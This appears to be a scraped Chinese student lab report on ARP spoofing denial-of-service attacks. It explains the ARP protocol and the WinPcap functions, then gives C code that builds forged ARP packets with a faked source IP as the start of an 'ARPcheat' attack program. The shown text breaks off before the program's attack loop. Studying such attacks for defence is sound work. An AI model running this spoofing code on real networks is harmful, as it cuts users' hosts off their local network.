网络对抗实验.docx

上传人:b****6 文档编号:4742009 上传时间:2022-12-08 格式:DOCX 页数:29 大小:490.82KB
下载 相关 举报
网络对抗实验.docx_第1页
第1页 / 共29页
网络对抗实验.docx_第2页
第2页 / 共29页
网络对抗实验.docx_第3页
第3页 / 共29页
网络对抗实验.docx_第4页
第4页 / 共29页
网络对抗实验.docx_第5页
第5页 / 共29页
点击查看更多>>
下载资源
资源描述

网络对抗实验.docx

《网络对抗实验.docx》由会员分享,可在线阅读,更多相关《网络对抗实验.docx(29页珍藏版)》请在冰豆网上搜索。

网络对抗实验.docx

网络对抗实验

 

“网络对抗实验”

实验报告

 

题目关于ARP拒绝服务攻击的研究

学生曹志国,黄小丹

年级2007级

班级020732(曹),020731(黄)

学号02073125(曹),02073102(黄)

专业信息对抗技术

学院电子工程学院

 

西安电子科技大学

2010年5月

目录

引言………………………………………………………………………………………………1

第一章实验内容...........……………………………………………………………………….3

1.1了解WINPCAP……………………………………………………………...………………3

1.2WINPCAP主要函数………..………………………………………………………………3

1.3ARP数据包格式………..……………………………………………………….…………5

第二章实验方法…………………..………………………………………………………………7

2.1程序流程图……………………………..……………………………………………..7

2.2编写ARP攻击程序......………………………….…………………………………………..8

2.3程序说明…………......……………………………………………………………………..15

2.4程序用法…………......……………………………………………………………………..16

2.5如何用VC6.0搭建WINPCAP环境调试ARP攻击程序………………………………..16

2.6对特定主机进行ARP攻击……………………………………………………………..21

第三章实验结果及其分析………………………………………………………………………22

3.1实验结果……..………………………………………………………………………….22

3.2实验结果分析….………………………………………………………………………….23

3.3攻击模式…………………………………………………………………………….23

结论……………………………………………………………………………………………..23

参考文献……………………………………………………………………………………….24

 

引言

ARP(AddressResolutionProtocol)是地址解析协议,是一种将IP地址转化成物理地址的协议。

从IP地址到物理地址的映射有两种方式:

表格方式和非表格方式。

ARP具体说来就是将网络层(也就是相当于OSI的第三层)地址解析为数据链路层(也就是相当于OSI的第二层)的物理地址(注:

此处物理地址并不一定指MAC地址)。

ARP原理:

某机器A要向主机B发送报文,会查询本地的ARP缓存表,找到B的IP地址对应的MAC地址后,就会进行数据传输。

如果未找到,则广播A一个ARP请求报文(携带主机A的IP地址Ia——物理地址Pa),请求IP地址为Ib的主机B回答物理地址Pb。

网上所有主机包括B都收到ARP请求,但只有主机B识别自己的IP地址,于是向A主机发回一个ARP响应报文。

其中就包含有B的MAC地址,A接收到B的应答后,就会更新本地的ARP缓存。

接着使用这个MAC地址发送数据(由网卡附加MAC地址)。

因此,本地高速缓存的这个ARP表是本地网络流通的基础,而且这个缓存是动态的。

ARP协议并不只在发送了ARP请求才接收ARP应答。

当计算机接收到ARP应答数据包的时候,就会对本地的ARP缓存进行更新,将应答中的IP和MAC地址存储在ARP缓存中。

因此,当局域网中的某台机器B向A发送一个自己伪造的ARP应答,而如果这个应答是B冒充C伪造来的,即IP地址为C的IP,而MAC地址是伪造的,则当A接收到B伪造的ARP应答后,就会更新本地的ARP缓存,这样在A看来C的IP地址没有变,而它的MAC地址已经不是原来那个了。

由于局域网的网络流通不是根据IP地址进行,而是按照MAC地址进行传输。

所以,那个伪造出来的MAC地址在A上被改变成一个不存在的MAC地址,这样就会造成网络不通,导致A不能Ping通C!

这就是一个简单的ARP欺骗。

ARP协议的工作原理

在每台装有TCP/IP协议的电脑里都有一个ARP缓存表,表里的IP地址与MAC地址是一一对应的。

ARP缓存表

以主机A(192.168.1.5)向主机B(192.168.1.1)发送数据为例。

当发送数据时,主机A会在自己的ARP缓存表中寻找是否有目标IP地址。

如果找到了,也就知道了目标的MAC地址,直接把目标的MAC地址写入帧里面发送就可以了;如果在ARP缓存表里面没有目标的IP地址,主机A就会在网络上发送一个广播,目标MAC地址是“ff-ff-ff-ff-ff-ff”,这表示向同一网段的所有主机发出这样的询问:

“192.168.1.1的MAC地址是什么呀?

”网络上的其他主机并不回应这一询问,只有主机B接受到这个帧时才向A作出回应:

“192.168.1.1的MAC地址是00-aa-0-62-c6-09。

(如上表)”这样,主机A就知道了主机B的MAC地址,就可以向主机B发送信息了。

同时,它还更新了自己的ARP缓存表,下次再向B发送数据时,直接在ARP缓存表找就可以了。

ARP缓存表采用老化的机制,在一段时间里表中的某一行没有使用,就会被删除,这样可以大大减少ARP缓存表的长度,加快查询的速度。

如何查看ARP缓存表

ARP缓存表示可以查看的,也可以添加和修改。

在命令提示符下,输入“ARP-a”就可以查看ARP缓存表的内容了。

用“ARP-d”可以删除ARP缓存表里的所有内容。

用“ARP-s“可以手动在ARP表中制定IP地址与MAC地址的对应关系。

ARP欺骗的种类

ARP欺骗是黑客常用的攻击手段之一,ARP欺骗分为二种,一种是对路由器ARP表的欺骗;另一种是对内网PC的网关欺骗。

第一种ARP欺骗的原理是——截获网关数据。

它通知路由器一系列错误的内网MAC地址,并按照一定的频率不断进行,使真实的地址信息无法通过更新保存在路由器中,结果路由器的所有数据只能发送给错误的MAC地址,造成正常PC无法收到信息。

第二种ARP欺骗的原理是——伪造网关。

它的原理是建立假网关,让被它欺骗的PC向假网关发数据,而不是通过正常的路由器途径上网。

在PC看来,就是上不了网了,“网络掉线了”。

一般来说,ARP欺骗攻击的后果非常严重,大多数情况下会造成大面积掉线。

有些网管员对此不甚了解,出现故障时,认为PC没有问题,交换机没掉线的“本事”,电信也不承认宽带故障。

而且如果第一种ARP欺骗发生时,只要重启路由器,网络就能全面恢复,那问题一定是在路由器了。

为此,宽带路由器背了不少“黑锅”。

本实验通过自己编程来实现ARP攻击,对网络编程进行一些了解,加深对ARP协议的理解,从而在生活中更好地防范ARP攻击。

 

第一章实验内容

1.1了解WINPCAP

WinPcap是一个基于Win32平台的,用于捕获网络数据包并进行分析的开源库.

大多数网络应用程序通过被广泛使用的操作系统元件来访问网络,比如sockets。

这是一种简单的实现方式,因为操作系统已经妥善处理了底层具体实现细节(比如协议处理,封装数据包等等),并且提供了一个与读写文件类似的,令人熟悉的接口。

然而,有些时候,这种“简单的方式”并不能满足任务的需求,因为有些应用程序需要直接访问网络中的数据包。

也就是说,那些应用程序需要访问原始数据包,即没有被操作系统利用网络协议处理过的数据包。

WinPcap提供了以下功能:

(1)捕获原始数据包,无论它是发往某台机器的,还是在其他设备(共享媒介)上进行交换的;

(2)在数据包发送给某应用程序前,根据用户指定的规则过滤数据包;

(3)将原始数据包通过网络发送出去;

(4)收集并统计网络流量信息;

(5)利用C语言结合网络编程可以方便的开发出ARP攻击工具。

1.2WINPCAP主要函数

①intpcap_findalldevs(pcap_if_t**,char*)

说明:

用来获得网卡的列表

入口参数:

指向pcap_if_t**类型的列表的指针的指针

pcap_if_t是pcap_if重命名而来:

typedefstructpcap_ifpcap_if_t;

出口参数:

为int型,当显示列表失败时返回-1

    举例:

pcap_if_t*alldevs;

pcap_if_t*d;

charerrbuf[64];

/*这个API用来获得网卡的列表*/

if(pcap_findalldevs(&alldevs,errbuf)==-1)

{

fprintf(stderr,"Errorinpcap_findalldevs:

%s\n",errbuf);

exit

(1);

}

/*显示列表的响应字段的内容*/

for(d=alldevs;d;d=d->next)

{

printf("%d.%s",++i,d->name);

if(d->descrIPtion)

printf("(%s)\n",d->descrIPtion);

else       

printf("(NodescrIPtionavailable)\n");

}

②voidpcap_freealldevs(pcap_if_t*)

说明:

与intpcap_findalldevs(pcap_if_t**,char*)配套使用,当不再需要网卡列表时,用此函数free释放空间。

入口参数:

打开网卡列表时申请的pcap_if_t型的指针

出口参数:

举例:

/*Wedon'tneedanymorethedevicelist.Freeit*/

pcap_freealldevs(alldevs);

③pcap_t  *pcap_open_live(constchar*device,intsnaplen,intpromisc,intto_ms,charebuf*)

说明:

被用来得到一个包抓取得描述符

入口参数:

device是一个指出要抓取的网络设备的字符串,snaplen指明最大可抓取的字节长度,promisc置位表明该接口要被设置成混杂模式,to_ms以毫秒为单位设置超时时间。

当在超时时间内网卡上没有数据到来时对网卡的读操作将返回(pcap_dispatch()orpcap_next_ex()等函数),ebuf被用来存放当pcap_open_live()调用失败时,返回的错误字符串。

出口参数:

pcap_t型的指针,供pcap_dispatch()orpcap_next_ex()等函数调用;pcap_t的结构体.

④intpcap_sendpacket(pcap_t*p,u_char*buf,intsize)

说明:

手工发送一个数据包了。

这个函数需要的参数:

一个装有要发送数据的缓冲区,要发送的长度,和一个适配器。

注意缓冲区中的数据将不被内核协议处理,只是作为最原始的数据流被发送,所以我门必须填充好正确的协议头以便正确的将数据发送。

        入口参数:

p是打开网卡时返回的网卡指针,buf是发送数据包的内容缓冲区首地址,size是发送数据包的大小; 出口参数:

无。

举例:

 #include

#include

voidusage();

voidmain(intargc,char**argv){

pcap_t*fp;

charerror[PCAP_ERRBUF_SIZE];

u_charpacket[100];

inti;

/*Checkthevalidityofthecomandline*/

if(argc!

=2)

{

printf("usage:

%sinerface",argv[0]);

return;

}

/*打开指定网卡*/

if((fp=pcap_open_live(argv[1],100,1,1000,error))==NULL)

{

fprintf(stderr,"\nErroropeningadapter:

%s\n",error);

return;

}

/*假设网络环境为ethernet,我门把目的MAC设为1:

1:

1:

1:

1:

1*/

packet[0]=1;

packet[1]=1;

packet[2]=1;

packet[3]=1;

packet[4]=1;

packet[5]=1;

/*假设源MAC为2:

2:

2:

2:

2:

2*/

packet[6]=2;

packet[7]=2;

packet[8]=2;

packet[9]=2;

packet[10]=2;

packet[11]=2;

/*填充发送包的剩余部分*/

for(i=12;i<100;i++){

packet[i]=i%256;

}

/*发送包*/

pcap_sendpacket(fp,packet,100);

return;

}

1.3ARP数据包格式

①数据包格式

ARPFrame

字段

长度(Byte)

默认值

备注

硬件类型

2

0x1

以太网类型值

上层协议类型

2

0x0800

上层协议为IP协议

MAC地址长度

1

0x6

以太网MAC地址长度为6

IP地址长度

1

0x4

IP地址长度为4

操作码

2

 

0x1表示ARP请求包,0x2表示应答包

发送方MAC

6

 

 

发送方IP

4

 

 

接收方MAC

6

 

 

接收方IP

4

 

 

填充数据

18

 

因为物理帧最小长度为64字节,前面的42字节再加上4个CRC校验字节,还差18个字节

                            图1ARP帧格式

②用C语言定义数据包

#pragmapack

(1)

structethernet_head

{

unsignedchardest_MAC[6];//目标主机MAC地址

unsignedcharsource_MAC[6];//源端MAC地址

unsignedshorteh_type;//以太网类型

};

structARP_head

{

unsignedshorthardware_type;//硬件类型:

以太网接口类型为1

unsignedshortprotocol_type;//协议类型:

IP协议类型为0X0800

unsignedcharadd_len;//硬件地址长度:

MAC地址长度为6B

unsignedcharpro_len;//协议地址长度:

IP地址长度为4B

unsignedshortoption;//操作:

ARP请求为1,ARP应答为2

unsignedcharsour_addr[6];//源MAC地址:

发送方的MAC地址

unsignedlongsour_IP;//源IP地址:

发送方的IP地址

unsignedchardest_addr[6];//目的MAC地址:

ARP请求中该字段没有意义;ARP响应中为接收方的MAC地址

unsignedlongdest_IP;//目的IP地址:

ARP请求中为请求解析的IP地址;ARP响应中为接收方的IP地址

unsignedcharpadding[18];

};

structARP_packet//最终ARP包结构

{

ethernet_headeth;//以太网头部

ARP_headARP;//ARP数据包头部

};

#pragmapack()

 

第二章实验方法

2.1程序流程图如下:

2.2编辑ARP攻击程序

①完整主程序:

//ARPcheat.cpp:

Definestheentrypointfortheconsoleapplication.

//

 

#include

#include

#include

#include

#include"ARPCheat.h"

#include

 

unsignedchar*BuildARPPacket(unsignedchar*source_MAC,unsignedlongsrcIP,unsignedlongdestIP)

{

staticstructARP_packetpacket;

//目的MAC地址为广播地址,FF-FF-FF-FF-FF-FF

memset(packet.eth.dest_MAC,0xFF,6);

//源MAC地址

//memset(packet.eth.source_MAC,0xdd,6);

memcpy(packet.eth.source_MAC,source_MAC,6);

//上层协议为ARP协议,0x0806

packet.eth.eh_type=htons(0x0806);

//硬件类型,Ethernet是0x0001

packet.ARP.hardware_type=htons(0x0001);

//上层协议类型,IP为0x0800

packet.ARP.protocol_type=htons(0x0800);

//硬件地址长度:

MAC地址长度为0x06

packet.ARP.add_len=0x06;

//协议地址长度:

IP地址长度为0x04

packet.ARP.pro_len=0x04;

//操作:

ARP请求为1

packet.ARP.option=htons(0x0001);

//源MAC地址

//memset(packet.ARP.sour_addr,0xdd,6);

memcpy(packet.ARP.sour_addr,source_MAC,6);

//源IP地址

packet.ARP.sour_IP=srcIP;

//目的MAC地址,填充0

memset(packet.ARP.dest_addr,0,6);

//目的IP地址

packet.ARP.dest_IP=destIP;

//填充数据,18B

memset(packet.ARP.padding,0,18);

return(unsignedchar*)&packet;

}

/**

*获得网卡的MAC地址

*pDevName网卡的设备名称

*/

unsignedchar*GetSelfMAC(char*pDevName)

{

staticu_charMAC[6];

memset(MAC,0,sizeof(MAC));

LPADAPTERlpAdapter=PacketOpenAdapter(pDevName);

if(!

lpAdapter||(lpAdapter->hFile==INVALID_HANDLE_VALUE))

{

returnNULL;

}

PPACKET_OID_DATAOidData=(PPACKET_OID_DATA)malloc(6+sizeof(PACKET_OID_DATA));

if(OidData==NULL)

{

PacketCloseAdapter(lpAdapter);

returnNULL;

}

//

//RetrievetheadapterMACqueryingtheNICdriver

//

OidData->Oid=OID_802_3_CURRENT_ADDRESS;

OidData->Length=6;

memset(OidData->Data,0,6);

BOOLEANStatus=PacketRequest(lpAdapter,FALSE,OidData);

if(Status)

{

memcpy(MAC,(u_char*)(OidData->Data),6);

}

free(OidData);

PacketCloseAdapter(lpAdapter);

returnMAC;

}

intmain()

{

pcap_if_t*alldevs;//全部网卡列表

pcap_if_t*d;//一个网卡

intinum;//用户选择的网卡序号

inti=0;//循环变量

pcap_t*adhandle;//一个pcap实例

charerrbuf[PCAP_ERRBUF_SIZE];//错误缓冲区

unsignedchar*MAC;//本机MAC地址

unsignedchar*packet;//ARP包

unsignedlongfakeIP,destIP;//要伪装成的IP地址

pcap_addr_t*pAddr;//网卡地址

unsignedlongIP;//IP地址

unsignedlongnetmask;//子网掩码

charsel='b',unch;

intcou;

charstrdest[10][50],strfake[30];

boolflag=true;

//从参数列表获得要伪装的IP地址

/*if(INADDR_NONE==fakeIP)

{

fprintf(stderr,"InvalidIP:

%s\n",strfake);

return-1;

}*/

 

/*获得本机网卡列表*/

if(pcap_findalldevs_ex(PCAP_SRC_IF_STRING,NULL,&alldevs,errbuf)==-1)

{

fprintf(stderr,"Errorinpcap_findalldevs:

%s\n",errbuf);

exit

(1);

}

printf("\t\t\t\t尊敬的用户\n\n以下为您计算机上发现的网卡列表\n\n");

/*打印网卡列表*/

for(d=alldevs;d;d=d->next)

{

printf("%d",++i);

if(d->descrIPtion)

printf(".%s\n",d->descrIPtion);

else

printf(".NodescrIPtionavailable\n");

}

//如果没有发现网卡

if(i==0)

展开阅读全文
相关资源
猜你喜欢
相关搜索

当前位置:首页 > 法律文书 > 辩护词

copyright@ 2008-2022 冰豆网网站版权所有

经营许可证编号:鄂ICP备2022015515号-1